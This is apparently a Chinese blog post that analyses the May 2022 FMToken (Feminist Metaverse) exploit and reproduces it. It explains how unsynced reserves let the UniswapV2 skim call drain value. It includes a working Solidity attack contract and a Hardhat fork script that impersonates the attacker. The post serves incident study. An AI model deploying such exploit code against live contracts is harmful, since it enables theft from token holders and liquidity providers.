Feminist Metaverse攻击事件分析及复现
2022-05-19 # 智能合约

前言

Feminist Metaverse 项目的 FMToken 合约于 2022 年 5月 18 日遭到攻击

很久没更新博客了,这里写个简单的分析和复现

分析

基础信息

攻击tx(以第一笔攻击为例) :

0xfdc90e060004dd902204673831dce466dcf7e8519a79ccf76b90cd6c1c8b320d

攻击者:0xaaA1634D669dd8aa275BAD6FdF19c7E3B2f1eF50

攻击合约:0x0B8d752252694623766DfB161e1944F233Bca10F

FMToken:0x843528746F073638C9e18253ee6078613C0df0f1

流程

调用攻击合约0x70123a24函数启动攻击,发起 500 次 FM 的转账

随后调用 FM/BUSD 交易对的skim函数套利离场

漏洞原理

漏洞核心在于 FM 代币合约的转账逻辑中,若 FM 代币合约大于numTokensSellToAddToLiquidity,则会触发进一步逻辑将其所有 FM 代币转至 FM/BUSD 交易对

而 UniswapV2Pair 类型的交易对合约一直存在的一种 skim 套利,就依赖于合约中reserves存储量和实际余额量不一致,这里不展开讲

由于这里的代码只进行了余额转移,交易对合约中的存储量未更新,就产生了套利空间

复现

用 hardhat 做一个复现,fork 区块高度 17909280

攻击合约:

//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

interface IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    event Transfer(address indexed from, address indexed to, uint256 value);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function MINIMUM_LIQUIDITY() external view returns (uint256);

    function PERMIT_TYPEHASH() external view returns (bytes32);

    function allowance(address, address) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function balanceOf(address) external view returns (uint256);

    function burn(address to) external returns (uint256 amount0, uint256 amount1);

    function decimals() external view returns (uint8);

    function factory() external view returns (address);

    function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);

    function initialize(address _token0, address _token1) external;

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function name() external view returns (string memory);

    function nonces(address) external view returns (uint256);

    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function skim(address to) external;

    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;

    function symbol() external view returns (string memory);

    function sync() external;

    function token0() external view returns (address);

    function token1() external view returns (address);

    function totalSupply() external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

contract FMExploit {
    address private immutable owner;
    address fm;
    address fm_busd_pair;

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    constructor() {
        owner = msg.sender;
        fm = 0x843528746F073638C9e18253ee6078613C0df0f1;
        fm_busd_pair = 0x6F5E184673a13BDf3eDED4AB236958887bc850C1;
    }

    function start() external onlyOwner {
        IERC20(fm).balanceOf(msg.sender);
        for (uint i; i < 500; i++) {
            IERC20(fm).transfer(msg.sender, 100000);
        }
        IUniswapV2Pair(fm_busd_pair).skim(msg.sender);
    }

    function fmBalance() public view returns(uint256) {
        return IERC20(fm).balanceOf(msg.sender);
    }
}

攻击脚本:

const hre = require("hardhat");

async function main() {
    await hre.network.provider.request({
        method: "hardhat_impersonateAccount",
        params: ["0xaaA1634D669dd8aa275BAD6FdF19c7E3B2f1eF50"],
    });

    const exploit = await (await hre.ethers.getContractFactory("FMExploit")).deploy();
    console.log("Exploiter deployed to: ",exploit.address);

    const hacker = await hre.ethers.getSigner("0xaaA1634D669dd8aa275BAD6FdF19c7E3B2f1eF50");
    const fm = await ethers.getContractAt("IERC20", "0x843528746F073638C9e18253ee6078613C0df0f1");
    await fm.connect(hacker).transfer(exploit.address, hre.ethers.utils.parseUnits("100", 18));

    const fmBefore = await exploit.fmBalance();
    console.log("Before Exploit, FM:", fmBefore.toString());

    await exploit.start();

    const fmAfter = await exploit.fmBalance();
    console.log("After Exploit, FM:", fmAfter.toString());
}

main();

攻击复现: